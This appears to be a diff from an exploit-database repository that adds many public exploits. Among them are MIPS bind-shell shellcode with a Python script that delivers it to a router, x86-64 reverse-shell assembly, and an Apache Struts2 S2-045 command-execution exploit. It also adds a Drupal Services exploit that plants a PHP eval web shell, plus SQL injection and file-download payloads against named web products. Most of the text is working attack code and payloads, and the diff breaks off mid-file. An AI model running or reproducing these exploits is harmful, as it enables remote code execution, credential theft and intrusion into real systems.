sc += b"\xe0\xff\xa5\x23" # addi a1,sp,-32 */
|
||||
sc += b"\x49\x10\x02\x24" # li v0,4169 ( __NR_bind ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\x01\x01\x05\x24" # li a1,257 */
|
||||
sc += b"\x4e\x10\x02\x24" # li v0,4174 ( __NR_listen ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
|
||||
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
|
||||
sc += b"\x48\x10\x02\x24" # li v0,4168 ( __NR_accept ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\xfd\xff\x0f\x24" # li t7,-3 */
|
||||
sc += b"\x27\x28\xe0\x01" # nor a1,t7,zero */
|
||||
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\x01\x01\x05\x28" # slti a1,zero,0x0101 */
|
||||
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
|
||||
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\x50\x73\x06\x24" # li a2,0x7350 */
|
||||
sc += b"\xff\xff\xd0\x04" # LB: bltzal a2,LB */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
|
||||
sc += b"\xdb\xff\x0f\x24" # li t7,-37 */
|
||||
sc += b"\x27\x78\xe0\x01" # nor t7,t7,zero */
|
||||
sc += b"\x21\x20\xef\x03" # addu a0,ra,t7 */
|
||||
sc += b"\xf0\xff\xa4\xaf" # sw a0,-16(sp) */
|
||||
sc += b"\xf4\xff\xa0\xaf" # sw zero,-12(sp) */
|
||||
sc += b"\xf0\xff\xa5\x23" # addi a1,sp,-16 */
|
||||
sc += b"\xab\x0f\x02\x24" # li v0,4011 ( __NR_execve ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"/bin/sh";
|
||||
|
||||
|
||||
import time
|
||||
import struct
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
import threading
|
||||
import socketserver
|
||||
import telnetlib
|
||||
|
||||
# randomize mac address
|
||||
def mac():
|
||||
os.system('macchanger -A {} > /dev/null'.format(INTERACE))
|
||||
|
||||
# setup interface
|
||||
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP))
|
||||
|
||||
|
||||
# setup minimal webserver for delivering the shellcode
|
||||
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
print('[-] got shellcode request')
|
||||
self.request.recv(1024)
|
||||
print("[-] sending shellcode")
|
||||
self.request.send(sc)
|
||||
|
||||
class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
pass
|
||||
|
||||
print('[-] starting webserver')
|
||||
socketserver.TCPServer.allow_reuse_address = True
|
||||
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
|
||||
t = threading.Thread(target=server.serve_forever)
|
||||
t.start()
|
||||
|
||||
# start multicast receiver
|
||||
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
|
||||
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
s.bind(('', 1900))
|
||||
group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])
|
||||
mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)
|
||||
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
|
||||
|
||||
mac()
|
||||
state = 'clean'
|
||||
|
||||
while True:
|
||||
data, sender = s.recvfrom(1500)
|
||||
|
||||
if sender[0] == ROUTER_IP and sender[1] == 1008:
|
||||
print("[-] received SSP discovery")
|
||||
|
||||
data = {}
|
||||
data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n'
|
||||
data['pwn'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n'
|
||||
data['heap'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n'
|
||||
data['heap2']= data['heap']
|
||||
|
||||
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
|
||||
sock.sendto(data[state], sender)
|
||||
|
||||
if state == 'pwn':
|
||||
print("[-] starting payload")
|
||||
while True:
|
||||
try:
|
||||
print("[-] try to connect to shell")
|
||||
telnet = telnetlib.Telnet()
|
||||
telnet.open('192.168.1.1', 0x1337, timeout=1)
|
||||
print('[+] connected')
|
||||
telnet.write(b'uname -a; echo [+] pwned\n')
|
||||
telnet.interact()
|
||||
except:
|
||||
pass
|
||||
time.sleep(2.0)
|
||||
|
||||
if state == 'heap2':
|
||||
print("[-] spraying heap 2/2")
|
||||
mac()
|
||||
state = 'pwn'
|
||||
|
||||
if state == 'heap':
|
||||
print("[-] spraying heap 1/2")
|
||||
mac()
|
||||
state = 'heap2'
|
||||
|
||||
if state == 'clean':
|
||||
print('[-] clearing database and crashing')
|
||||
mac()
|
||||
state = 'heap'
|
||||
---EOF---
|
||||
|
|
@ -20,29 +20,51 @@
|
|||
;from, out of or in connection with the software or the use or other
|
||||
;dealings in the Software.
|
||||
;
|
||||
; For a detailed explanation of this shellcode see my blog post:
|
||||
; http://a41l4.blogspot.fr/2017/02/assignment-2b.html
|
||||
; 22 bytes, zero nulls
|
||||
global _start
|
||||
; For a detailed explanation of this shellcode see my blog post:
|
||||
; http://a41l4.blogspot.ca/2017/02/assignment-2b.html
|
||||
|
||||
global _start
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; zeros RAX, RDX and RSI with only 4 bytes of machine code
|
||||
xor esi,esi
|
||||
mul esi
|
||||
|
||||
; null terminator for the following string
|
||||
push rax
|
||||
|
||||
; push /bin//sh in reverse
|
||||
mov rbx,'/bin//sh'
|
||||
; Socket
|
||||
push 41
|
||||
pop rax
|
||||
push 2
|
||||
pop rdi
|
||||
push 1
|
||||
pop rsi
|
||||
cdq
|
||||
syscall
|
||||
; Connect
|
||||
xchg edi, eax
|
||||
mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
|
||||
not rbx
|
||||
push rbx
|
||||
mov al, 42
|
||||
push rsp
|
||||
pop rsi
|
||||
mov dl, 16
|
||||
syscall
|
||||
; Dup 2
|
||||
push 3
|
||||
pop rsi
|
||||
dup2loop:
|
||||
mov al, 33
|
||||
dec esi
|
||||
syscall
|
||||
loopnz dup2loop
|
||||
; Execve
|
||||
; rax and rsi are zero from the result of the last dup2 syscall and loop
|
||||
push rax ; zero terminator for the following string that we are pushing
|
||||
|
||||
; store /bin//sh address in RDI, points at string
|
||||
mov rbx, '/bin//sh'
|
||||
push rbx
|
||||
|
||||
; store /bin//sh address in RDI
|
||||
push rsp
|
||||
pop rdi
|
||||
|
||||
cdq ; zero rdx
|
||||
|
||||
; Call the Execve syscall
|
||||
mov al, 59
|
||||
syscall
|
||||
syscall
|
||||
47
platforms/linux/webapps/41570.py
Executable file
47
platforms/linux/webapps/41570.py
Executable file
|
|
@ -0,0 +1,47 @@
|
|||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import urllib2
|
||||
import httplib
|
||||
|
||||
|
||||
def exploit(url, cmd):
|
||||
payload = "%{(#_='multipart/form-data')."
|
||||
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
payload += "(#_memberAccess?"
|
||||
payload += "(#_memberAccess=#dm):"
|
||||
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
||||
payload += "(#context.setMemberAccess(#dm))))."
|
||||
payload += "(#cmd='%s')." % cmd
|
||||
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||
payload += "(#ros.flush())}"
|
||||
|
||||
try:
|
||||
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||
request = urllib2.Request(url, headers=headers)
|
||||
page = urllib2.urlopen(request).read()
|
||||
except httplib.IncompleteRead, e:
|
||||
page = e.partial
|
||||
|
||||
print(page)
|
||||
return page
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
if len(sys.argv) != 3:
|
||||
print("[*] struts2_S2-045.py <url> <cmd>")
|
||||
else:
|
||||
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
|
||||
url = sys.argv[1]
|
||||
cmd = sys.argv[2]
|
||||
print("[*] cmd: %s\n" % cmd)
|
||||
exploit(url, cmd)
|
||||
20
platforms/php/webapps/41556.txt
Executable file
20
platforms/php/webapps/41556.txt
Executable file
|
|
@ -0,0 +1,20 @@
|
|||
# # # # #
|
||||
# Exploit Title: Country on Sale Script - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: http://www.websitescripts.org/
|
||||
# Software: http://www.websitescripts.org/website-scripts/country-on-sale-script/prod_53.html
|
||||
# Demo: http://www.websitescripts.org/demo/countryonsalescript/
|
||||
# Version: N/A
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/read_more.php?newsid=[SQL]
|
||||
# http://localhost/[PATH]/countries/index.php?id=[SQL]
|
||||
# 13'+/*!50000union*/+select+1,version(),0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,4,5--+-
|
||||
# Etc..
|
||||
# # # # #
|
||||
18
platforms/php/webapps/41557.txt
Executable file
18
platforms/php/webapps/41557.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: Media Search Engine Script - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: http://www.websitescripts.org/
|
||||
# Software: http://www.websitescripts.org/website-scripts/media-search-engine-script/prod_51.html
|
||||
# Demo: http://www.websitescripts.org/demo/mediasearchengine/
|
||||
# Version: N/A
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/search.php?search=[SQL]
|
||||
# Etc..
|
||||
# # # # #
|
||||
24
platforms/php/webapps/41558.txt
Executable file
24
platforms/php/webapps/41558.txt
Executable file
|
|
@ -0,0 +1,24 @@
|
|||
# # # # #
|
||||
# Exploit Title: Soundify - Audio Sharing Software v1.1 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/soundify
|
||||
# Demo: http://demo.ncryptedprojects.com/soundify/
|
||||
# Version: N/A
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/player?tid=[SQL]
|
||||
# tbl_admin :adminId
|
||||
# tbl_admin :firstName
|
||||
# tbl_admin :userName
|
||||
# tbl_admin :adminEmail
|
||||
# tbl_admin :passWord
|
||||
# tbl_admin :adminType
|
||||
# Etc..
|
||||
# # # # #
|
||||
18
platforms/php/webapps/41559.txt
Executable file
18
platforms/php/webapps/41559.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: BistroStays - Vacation Rental Software v3.0 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/bistrostays
|
||||
# Demo: http://demo.ncryptedprojects.com/bistrostays_v3/
|
||||
# Version: 3.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/search?guests=[SQL]
|
||||
# Etc..
|
||||
# # # # #
|
||||
19
platforms/php/webapps/41560.txt
Executable file
19
platforms/php/webapps/41560.txt
Executable file
|
|
@ -0,0 +1,19 @@
|
|||
# # # # #
|
||||
# Exploit Title: Nlance - Freelance Marketplace Software v2.2 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/nlance
|
||||
# Demo: http://demo.ncryptedprojects.com/nlance-ent/
|
||||
# Version: 2.2
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/search/provider/?skill=[SQL]
|
||||
# -38'+/*!50000union*/+select+1,@@version--+-
|
||||
# Etc..
|
||||
# # # # #
|
||||
25
platforms/php/webapps/41561.txt
Executable file
25
platforms/php/webapps/41561.txt
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
# # # # #
|
||||
# Exploit Title: Busewe - Website Marketplace Software v1.2 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/busewe
|
||||
# Demo: http://demo.ncryptedprojects.com/busewe/
|
||||
# Version: 1.2
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/result?sort=desc&format=private&status=completed&age_min=[SQL]&age_max=[SQL]&revenue_min=[SQL]&revenue_max=[SQL]&profit_min=[SQL]&profit_max=[SQL]
|
||||
# admin :id
|
||||
# admin :username
|
||||
# admin :password
|
||||
# admin :masterPassword
|
||||
# admin :email
|
||||
# admin :role
|
||||
# admin :permissions
|
||||
# Etc..
|
||||
# # # # #
|
||||
18
platforms/php/webapps/41562.txt
Executable file
18
platforms/php/webapps/41562.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: Fashmark - eCommerce Script v1.2 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/fashmark
|
||||
# Demo: http://demo.ncryptedprojects.com/fashmark-ent/
|
||||
# Version: 1.2
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/search/?searchChar=Ihsan_Sencan&category=[SQL]
|
||||
# Etc..
|
||||
# # # # #
|
||||
18
platforms/php/webapps/41563.txt
Executable file
18
platforms/php/webapps/41563.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: TradeMart - B2B Trading Software v1.1 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.ncrypted.net/
|
||||
# Software: https://www.ncrypted.net/trademart
|
||||
# Demo: http://demo.ncryptedprojects.com/trademart/
|
||||
# Version: 1.1
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/Search?by=p&q=&user=[SQL]
|
||||
# Etc..
|
||||
# # # # #
|
||||
319
platforms/php/webapps/41564.php
Executable file
319
platforms/php/webapps/41564.php
Executable file
|
|
@ -0,0 +1,319 @@
|
|||
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
|
||||
# Vendor Homepage: https://www.drupal.org/project/services
|
||||
# Exploit Author: Charles FOL
|
||||
# Contact: https://twitter.com/ambionics
|
||||
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
|
||||
|
||||
|
||||
#!/usr/bin/php
|
||||
<?php
|
||||
# Drupal Services Module Remote Code Execution Exploit
|
||||
# https://www.ambionics.io/blog/drupal-services-module-rce
|
||||
# cf
|
||||
#
|
||||
# Three stages:
|
||||
# 1. Use the SQL Injection to get the contents of the cache for current
|
||||
endpoint
|
||||
# along with admin credentials and hash
|
||||
# 2. Alter the cache to allow us to write a file and do so
|
||||
# 3. Restore the cache
|
||||
#
|
||||
|
||||
# Initialization
|
||||
|
||||
error_reporting(E_ALL);
|
||||
|
||||
define('QID', 'anything');
|
||||
define('TYPE_PHP', 'application/vnd.php.serialized');
|
||||
define('TYPE_JSON', 'application/json');
|
||||
define('CONTROLLER', 'user');
|
||||
define('ACTION', 'login');
|
||||
|
||||
$url = 'http://vmweb.lan/drupal-7.54';
|
||||
$endpoint_path = '/rest_endpoint';
|
||||
$endpoint = 'rest_endpoint';
|
||||
|
||||
$file = [
|
||||
'filename' => 'dixuSOspsOUU.php',
|
||||
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
|
||||
];
|
||||
|
||||
$browser = new Browser($url . $endpoint_path);
|
||||
|
||||
|
||||
# Stage 1: SQL Injection
|
||||
|
||||
class DatabaseCondition
|
||||
{
|
||||
protected $conditions = [
|
||||
"#conjunction" => "AND"
|
||||
];
|
||||
protected $arguments = [];
|
||||
protected $changed = false;
|
||||
protected $queryPlaceholderIdentifier = null;
|
||||
public $stringVersion = null;
|
||||
|
||||
public function __construct($stringVersion=null)
|
||||
{
|
||||
$this->stringVersion = $stringVersion;
|
||||
|
||||
if(!isset($stringVersion))
|
||||
{
|
||||
$this->changed = true;
|
||||
$this->stringVersion = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
class SelectQueryExtender {
|
||||
# Contains a DatabaseCondition object instead of a SelectQueryInterface
|
||||
# so that $query->compile() exists and (string) $query is controlled by
|
||||
us.
|
||||
protected $query = null;
|
||||
|
||||
protected $uniqueIdentifier = QID;
|
||||
protected $connection;
|
||||
protected $placeholder = 0;
|
||||
|
||||
public function __construct($sql)
|
||||
{
|
||||
$this->query = new DatabaseCondition($sql);
|
||||
}
|
||||
}
|
||||
|
||||
$cache_id = "services:$endpoint:resources";
|
||||
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
|
||||
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
|
||||
|
||||
# Take first user but with a custom password
|
||||
# Store the original password hash in signature_format, and endpoint cache
|
||||
# in signature
|
||||
$query =
|
||||
"0x3a) UNION SELECT ux.uid AS uid, " .
|
||||
"ux.name AS name, '$password_hash' AS pass, " .
|
||||
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
|
||||
"ux.pass AS signature_format, ux.created AS created, " .
|
||||
"ux.access AS access, ux.login AS login, ux.status AS status, " .
|
||||
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
|
||||
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
|
||||
"WHERE ux.uid<>(0"
|
||||
;
|
||||
|
||||
$query = new SelectQueryExtender($query);
|
||||
$data = ['username' => $query, 'password' => 'ouvreboite'];
|
||||
$data = serialize($data);
|
||||
|
||||
$json = $browser->post(TYPE_PHP, $data);
|
||||
|
||||
# If this worked, the rest will as well
|
||||
if(!isset($json->user))
|
||||
{
|
||||
print_r($json);
|
||||
e("Failed to login with fake password");
|
||||
}
|
||||
|
||||
# Store session and user data
|
||||
|
||||
$session = [
|
||||
'session_name' => $json->session_name,
|
||||
'session_id' => $json->sessid,
|
||||
'token' => $json->token
|
||||
];
|
||||
store('session', $session);
|
||||
|
||||
$user = $json->user;
|
||||
|
||||
# Unserialize the cached value
|
||||
# Note: Drupal websites admins, this is your opportunity to fight back :)
|
||||
$cache = unserialize($user->signature);
|
||||
|
||||
# Reassign fields
|
||||
$user->pass = $user->signature_format;
|
||||
unset($user->signature);
|
||||
unset($user->signature_format);
|
||||
|
||||
store('user', $user);
|
||||
|
||||
if($cache === false)
|
||||
{
|
||||
e("Unable to obtains endpoint's cache value");
|
||||
}
|
||||
|
||||
x("Cache contains " . sizeof($cache) . " entries");
|
||||
|
||||
# Stage 2: Change endpoint's behaviour to write a shell
|
||||
|
||||
class DrupalCacheArray
|
||||
{
|
||||
# Cache ID
|
||||
protected $cid = "services:endpoint_name:resources";
|
||||
# Name of the table to fetch data from.
|
||||
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
|
||||
protected $bin = 'cache';
|
||||
protected $keysToPersist = [];
|
||||
protected $storage = [];
|
||||
|
||||
function __construct($storage, $endpoint, $controller, $action) {
|
||||
$settings = [
|
||||
'services' => ['resource_api_version' => '1.0']
|
||||
];
|
||||
$this->cid = "services:$endpoint:resources";
|
||||
|
||||
# If no endpoint is given, just reset the original values
|
||||
if(isset($controller))
|
||||
{
|
||||
$storage[$controller]['actions'][$action] = [
|
||||
'help' => 'Writes data to a file',
|
||||
# Callback function
|
||||
'callback' => 'file_put_contents',
|
||||
# This one does not accept "true" as Drupal does,
|
||||
# so we just go for a tautology
|
||||
'access callback' => 'is_string',
|
||||
'access arguments' => ['a string'],
|
||||
# Arguments given through POST
|
||||
'args' => [
|
||||
0 => [
|
||||
'name' => 'filename',
|
||||
'type' => 'string',
|
||||
'description' => 'Path to the file',
|
||||
'source' => ['data' => 'filename'],
|
||||
'optional' => false,
|
||||
],
|
||||
1 => [
|
||||
'name' => 'data',
|
||||
'type' => 'string',
|
||||
'description' => 'The data to write',
|
||||
'source' => ['data' => 'data'],
|
||||
'optional' => false,
|
||||
],
|
||||
],
|
||||
'file' => [
|
||||
'type' => 'inc',
|
||||
'module' => 'services',
|
||||
'name' => 'resources/user_resource',
|
||||
],
|
||||
'endpoint' => $settings
|
||||
];
|
||||
$storage[$controller]['endpoint']['actions'] += [
|
||||
$action => [
|
||||
'enabled' => 1,
|
||||
'settings' => $settings
|
||||
]
|
||||
];
|
||||
}
|
||||
|
||||
$this->storage = $storage;
|
||||
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
|
||||
}
|
||||
}
|
||||
|
||||
class ThemeRegistry Extends DrupalCacheArray {
|
||||
protected $persistable;
|
||||
protected $completeRegistry;
|
||||
}
|
||||
|
||||
cache_poison($endpoint, $cache);
|
||||
|
||||
# Write the file
|
||||
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
|
||||
|
||||
|
||||
# Stage 3: Restore endpoint's behaviour
|
||||
|
||||
cache_reset($endpoint, $cache);
|
||||
|
||||
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
|
||||
{
|
||||
e("Failed to write file.");
|
||||
}
|
||||
|
||||
$file_url = $url . '/' . $file['filename'];
|
||||
x("File written: $file_url");
|
||||
|
||||
|
||||
# HTTP Browser
|
||||
|
||||
class Browser
|
||||
{
|
||||
private $url;
|
||||
private $controller = CONTROLLER;
|
||||
private $action = ACTION;
|
||||
|
||||
function __construct($url)
|
||||
{
|
||||
$this->url = $url;
|
||||
}
|
||||
|
||||
function post($type, $data)
|
||||
{
|
||||
$headers = [
|
||||
"Accept: " . TYPE_JSON,
|
||||
"Content-Type: $type",
|
||||
"Content-Length: " . strlen($data)
|
||||
];
|
||||
$url = $this->url . '/' . $this->controller . '/' . $this->action;
|
||||
|
||||
$s = curl_init();
|
||||
curl_setopt($s, CURLOPT_URL, $url);
|
||||
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
|
||||
curl_setopt($s, CURLOPT_POST, 1);
|
||||
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
|
||||
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
$output = curl_exec($s);
|
||||
$error = curl_error($s);
|
||||
curl_close($s);
|
||||
|
||||
if($error)
|
||||
{
|
||||
e("cURL: $error");
|
||||
}
|
||||
|
||||
return json_decode($output);
|
||||
}
|
||||
}
|
||||
|
||||
# Cache
|
||||
|
||||
function cache_poison($endpoint, $cache)
|
||||
{
|
||||
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
|
||||
cache_edit($tr);
|
||||
}
|
||||
|
||||
function cache_reset($endpoint, $cache)
|
||||
{
|
||||
$tr = new ThemeRegistry($cache, $endpoint, null, null);
|
||||
cache_edit($tr);
|
||||
}
|
||||
|
||||
function cache_edit($tr)
|
||||
{
|
||||
global $browser;
|
||||
$data = serialize([$tr]);
|
||||
$json = $browser->post(TYPE_PHP, $data);
|
||||
}
|
||||
|
||||
# Utils
|
||||
|
||||
function x($message)
|
||||
{
|
||||
print("$message\n");
|
||||
}
|
||||
|
||||
function e($message)
|
||||
{
|
||||
x($message);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
function store($name, $data)
|
||||
{
|
||||
$filename = "$name.json";
|
||||
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
|
||||
x("Stored $name information in $filename");
|
||||
}
|
||||
|
||||
|
||||
|
||||
18
platforms/php/webapps/41566.txt
Executable file
18
platforms/php/webapps/41566.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: WordPress Plugin Mac Photo Gallery v3.0 - Arbitrary File Download
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.apptha.com/
|
||||
# Software: https://www.apptha.com/category/extension/Wordpress/Mac-Photo-Gallery
|
||||
# Demo: http://www.apptha.com/demo/mac-photo-gallery
|
||||
# Version: 3.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# Exploit :
|
||||
# http://localhost/[PLUGIN_PATH]/macdownload.php?albid=../../../wp-load.php
|
||||
# Etc..
|
||||
# # # # #
|
||||
21
platforms/php/webapps/41567.txt
Executable file
21
platforms/php/webapps/41567.txt
Executable file
|
|
@ -0,0 +1,21 @@
|
|||
# # # # #
|
||||
# Exploit Title: WordPress Plugin Apptha Slider Gallery v1.0 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.apptha.com/
|
||||
# Software: https://www.apptha.com/category/extension/Wordpress/apptha-slider-gallery
|
||||
# Demo: http://www.apptha.com/demo/apptha-slider-gallery
|
